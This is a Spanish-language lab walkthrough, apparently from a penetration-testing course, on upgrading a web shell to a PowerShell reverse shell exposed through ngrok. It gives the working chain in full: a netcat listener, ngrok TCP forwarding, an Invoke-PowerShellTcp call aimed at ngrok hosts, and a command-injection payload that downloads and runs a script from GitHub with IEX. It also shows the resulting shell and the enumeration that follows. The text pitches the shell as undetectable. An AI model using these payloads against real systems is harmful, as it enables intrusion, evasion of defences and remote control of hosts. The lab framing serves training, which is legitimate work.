Migracion de WebShell a Reverse Shell via PowerShell
OBJETIVO DEL EJERCICIO #5:
Obtener una reverse shell indetectable desarrollada en powershell atravez de un direccionamiento publico utilizando NGROK.
Para realizarlo es suficiente tener encendido UNICAMENTE WEBSERVER
y First-DC
.
Ahora es importante que tengas configurado con nuestra guia de Utilizando IP publica para auditorias reales
Ahora levantamos un puerto 80 sobre el servicio de HTTP y encendemos ngrok sobre ese puerto:

En la evidencia previa, se puede apreciar que estoy accediendo desde el navegador a la URL generada por NGROK que esta exponiendo los archivos a nivel de HTTP con python.
Ahora vamos a iniciar nuestro oyente donde recibiremos la shell inversa:

En la evidencia previa, se realizo un Bypass ANSI y se configuro en la ultima linea de la shell inversa la ejecuccion de la funcion especificando el host y puerto de Ngrok:
Invoke-PowerShellTcp -Reverse -IPAddress 8.tcp.us-cal-1.ngrok.io -Port 14944
La IpAddress seria el host que nos entrega Ngrok y el puerto seria lo que esta despues de los dos puntos.
La shell utilizada es:
Ahora vamos a replicar todo lo aprendido sobre el laboratorio:
Vamos a concatenar el bypass ANSI con el Invoke-PowerShellTCP:

Despues de lo anterior configuramos nuestro oyente de netcat:
kali@kali=> nc -nvlp 443
Y configuramos nuestro ngrok:
kali@kali=> ./ngrok tcp 443
Version 3.3.5
Region United States (us)
Latency 76ms
Web Interface http://127.0.0.1:4040
Forwarding tcp://6.tcp.ngrok.io:19858 -> localhost:443
Y luego tomamos los valores entregados por Ngrok y modificamos la shell inversa:
Invoke-PowerShellTcp -Reverse -IPAddress 4.tcp.ngrok.io -Port 10690
La shell inversa final quedaria asi:
Teniendo en cuenta la explicacion de Utilizando IP publicas y dominios confiables para el almacenamiento de herramientas vamos a subir esta shell en GitHub.

Y Finalmente, ejecutamos lo siguiente sobre el servidor web:
8.8.8.8& powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Spartan-Cybersecurity/CPPJ/main/PowerCPPJ.ps1')"
Despues de ejecutar esto en el navegador, vamos a obtener nuestra shell inversa:
kali@kali=> nc -nvlp 443
listening on [any] 443 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 54972
Windows PowerShell running as user WEBSERVER$ on WEBSERVER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\windows\system32\inetsrv>
Desde aqui podriamos ejecutar los mismos comandos enseñados de enumeracion:
PS C:\windows\system32\inetsrv> whoami
iis apppool\defaultapppool
PS C:\windows\system32\inetsrv> hostname
WebServer
PS C:\windows\system32\inetsrv> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet 2:
Connection-specific DNS Suffix . : spartancybersec.corp
Link-local IPv6 Address . . . . . : fe80::3dce:ac79:a1b0:7820%7
IPv4 Address. . . . . . . . . . . : 10.0.1.249
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.0.1.1
Última actualización
¿Te fue útil?